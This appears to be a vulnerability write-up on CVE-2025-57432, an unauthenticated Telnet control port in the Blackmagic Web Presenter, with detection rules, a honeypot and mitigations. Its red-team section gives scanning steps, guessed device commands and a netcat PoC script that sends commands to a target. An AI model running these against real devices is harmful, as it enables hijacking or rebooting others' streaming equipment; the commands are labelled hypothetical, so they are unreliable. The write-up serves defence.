CVE-2025-57432

Executive Summary

CVE-2025-57432 exposes a critical authentication bypass vulnerability in the Blackmagic Web Presenter version 3.3. The device runs a Telnet service on TCP port 9977 that accepts commands without any authentication. This allows any remote attacker who can reach the device to manipulate stream settings, change video modes, and potentially alter device functionality. The vulnerability is classified under CWE-306 (Missing Authentication for Critical Function) and is currently unpatched. No exploit code or Nuclei templates are publicly available, but the attack vector is trivial to execute.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware device. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): High (H) – Full control over stream settings and device behavior.
• Availability (A): None (N) – No direct denial of service.

CVSS Score: 7.5 (High) – Integrity impact is severe, allowing an attacker to hijack or disrupt video streams.

Deep Dive & Mechanics

The Blackmagic Web Presenter is a hardware encoder used for live streaming. It exposes a Telnet interface on port 9977 for administrative control. In version 3.3, this interface does not require any credentials. The Telnet service accepts plaintext commands that can:

• Change video input modes (e.g., HDMI, SDI).
• Modify stream encoding parameters (bitrate, resolution, codec).
• Start/stop streaming sessions.
• Reboot the device.

The lack of authentication means any network-accessible attacker can send arbitrary commands. The service is likely based on a simple TCP server that parses text commands without any session management or access control.

Attack Flow:

1. Attacker scans for open port 9977 on the target IP.
2. Attacker connects via Telnet (or netcat).
3. Attacker sends commands to manipulate stream settings.
4. Device executes commands immediately.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is the Telnet service implementation in the firmware. A hypothetical patch would require:

• Adding a username/password authentication step before command processing.
• Implementing session tokens or IP-based access control.
• Disabling Telnet in favor of SSH with key-based authentication.

Since no patch exists, no code diff can be provided.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Blackmagic Web Presenter (v3.3) on the same network.
• Attacker machine with netcat or telnet client.

Exploitation Steps:

1. Identify the target: nmap -p 9977 <target_ip>
2. Connect to the Telnet service: telnet <target_ip> 9977
3. Send commands directly. Example commands (hypothetical based on device documentation):
   • SET VIDEO_MODE HDMI 1080p60
   • SET STREAM_BITRATE 5000
   • STOP STREAM
   • REBOOT

Proof-of-Concept (PoC) Script:

#!/bin/bash
# PoC for CVE-2025-57432
TARGET="192.168.1.100"
PORT=9977

echo "Connecting to $TARGET:$PORT..."
echo -e "SET VIDEO_MODE SDI 720p30\n" | nc -w 3 $TARGET $PORT
echo "Command sent. Check device status."

Blue Team

Detection:

• Monitor for connections to port 9977 from unexpected IPs.
• Log all Telnet commands if possible (device may not support logging).
• Use network segmentation to restrict access to the device.

Honeypot Setup:

• Deploy a fake Telnet service on port 9977 that mimics the Blackmagic Web Presenter.
• Log all incoming commands and source IPs.

Honeypot Script (Python):

import socket
import logging

logging.basicConfig(filename='telnet_honeypot.log', level=logging.INFO)

def handle_client(conn, addr):
    logging.info(f"Connection from {addr}")
    conn.send(b"Welcome to Blackmagic Web Presenter\n")
    while True:
        data = conn.recv(1024)
        if not data:
            break
        logging.info(f"Command from {addr}: {data.decode().strip()}")
        conn.send(b"OK\n")
    conn.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 9977))
server.listen(5)
print("Honeypot listening on port 9977...")
while True:
    conn, addr = server.accept()
    handle_client(conn, addr)

Indicators of Compromise (IOCs)

• Network:
  • TCP connections to port 9977 on Blackmagic Web Presenter IPs.
  • Telnet traffic (plaintext commands) to/from the device.
• Host:
  • Unauthorized changes to video mode or stream settings.
  • Device reboots without user action.
• Logs:
  • Telnet login attempts (if device logs them).
  • Anomalous commands in device logs (e.g., SET, STOP, REBOOT).

Detection Engineering

YARA Rule

rule CVE_2025_57432_Telnet_Command {
    meta:
        description = "Detects Telnet commands targeting Blackmagic Web Presenter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57432"
    strings:
        $cmd1 = "SET VIDEO_MODE" ascii wide nocase
        $cmd2 = "SET STREAM_BITRATE" ascii wide nocase
        $cmd3 = "STOP STREAM" ascii wide nocase
        $cmd4 = "REBOOT" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Blackmagic Web Presenter Telnet Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects Telnet commands sent to Blackmagic Web Presenter on port 9977
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 9977
        app_protocol: telnet
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: high

Suricata Rule

alert tcp any any -> any 9977 (msg:"CVE-2025-57432 - Blackmagic Web Presenter Telnet Access"; flow:to_server,established; content:"SET VIDEO_MODE"; nocase; sid:1000001; rev:1;)
alert tcp any any -> any 9977 (msg:"CVE-2025-57432 - Blackmagic Web Presenter Telnet Command"; flow:to_server,established; content:"REBOOT"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the Web Presenter on a separate VLAN with strict firewall rules. Only allow access from trusted management IPs.
2. Disable Telnet: If possible, disable the Telnet service via device settings or firmware configuration.
3. Firewall Rules: Block inbound connections to port 9977 from untrusted networks.
4. Monitor Logs: Enable logging on the device (if supported) and monitor for unauthorized commands.

Long-Term Fix:

• Contact Blackmagic Design for a firmware update that adds authentication.
• Replace the device with a model that supports SSH or HTTPS-based management.

Workaround:

• Use a TCP proxy that requires authentication before forwarding to the Telnet port.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert